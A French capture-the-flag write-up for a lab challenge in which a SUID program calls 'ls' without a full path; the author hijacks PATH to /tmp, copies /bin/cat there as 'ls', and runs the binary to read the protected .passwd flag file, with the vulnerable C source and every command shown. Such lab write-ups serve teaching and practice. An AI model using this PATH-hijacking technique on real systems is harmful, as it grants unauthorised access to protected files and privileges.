



App – Sript Bash – System 1

par Younès Kahloul

Dans ce challenge, le flag est à récupérer dans le fichier `$HOME/.passwd` (précisé au lancement du terminal WebSSH).

On commence par faire un `ls -al`

```
app-script-ch11@challenge02:~$ ls -al
total 36
dr-xr-x---  2 app-script-ch11-cracked app-script-ch11 4096 Dec 10  2021 .
drwxr-xr-x 25 root                    root          4096 Sep  5  2023 ..
-r-----  1 root                    root           775 Dec 10  2021 ._perms
-rw-r----- 1 root                    root           43 Dec 10  2021 .git
-r-----  1 app-script-ch11-cracked app-script-ch11  14 Dec 10  2021 .passwd
-r--r----- 1 app-script-ch11-cracked app-script-ch11 494 Dec 10  2021 Makefile
-r-sr-x---  1 app-script-ch11-cracked app-script-ch11 7252 Dec 10  2021 ch11
-r--r----- 1 app-script-ch11-cracked app-script-ch11 187 Dec 10  2021 ch11.c
```

On voit que sur le fichier `ch11`, le droit d'exécution du propriétaire est « `s` » (fichier **SUID**), ce qui signifie que n'importe qui peut exécuter ce fichier avec les droits du propriétaire, donc **app-script-ch11-cracked**, le même utilisateur que le fichier qui nous intéresse.

Le fichier `ch11.c` correspond au code source du script `ch11`, analysons-le pour progresser.

```
app-script-ch11@challenge02:~$ cat ch11.c
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
    setreuid(geteuid(), geteuid());
    system("ls /challenge/app-script/ch11/.passwd");
    return 0;
}
```

Ici, on peut voir que le chemin de la commande `ls` n'est pas précisé, il utilise donc la variable d'environnement **PATH** (qui correspond au chemin par défaut utilisé pour les commandes Linux). On peut exploiter ceci pour faire exécuter une autre commande que `ls`. On va modifier le chemin lu par `PATH` afin de pouvoir exécuter la commande `cat` à la place dans le dossier `tmp`.

Information par défaut de PATH :

```
app-script-ch11@challenge02:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/opt/tools/checksec/
```

Après modification :

```
app-script-ch11@challenge02:~$ PATH=/tmp
app-script-ch11@challenge02:~$ echo $PATH
/tmp
```

On voit maintenant que la variable d'environnement PATH va lire le contenu du dossier tmp pour exécuter ses commandes.

Il nous reste maintenant à récupérer la commande cat, et de la coller dans le dossier tmp avec le nom ls.

```
app-script-ch11@challenge02:~$ cp /bin/cat /tmp/ls
app-script-ch11@challenge02:~$ chmod +x /tmp/ls
```

Et on termine en exécutant de nouveau le script ch11, si tout a été bien fait, alors le flag est obtenu.

```
app-script-ch11@challenge02:~$ ./ch11
! [REDACTED] 5
```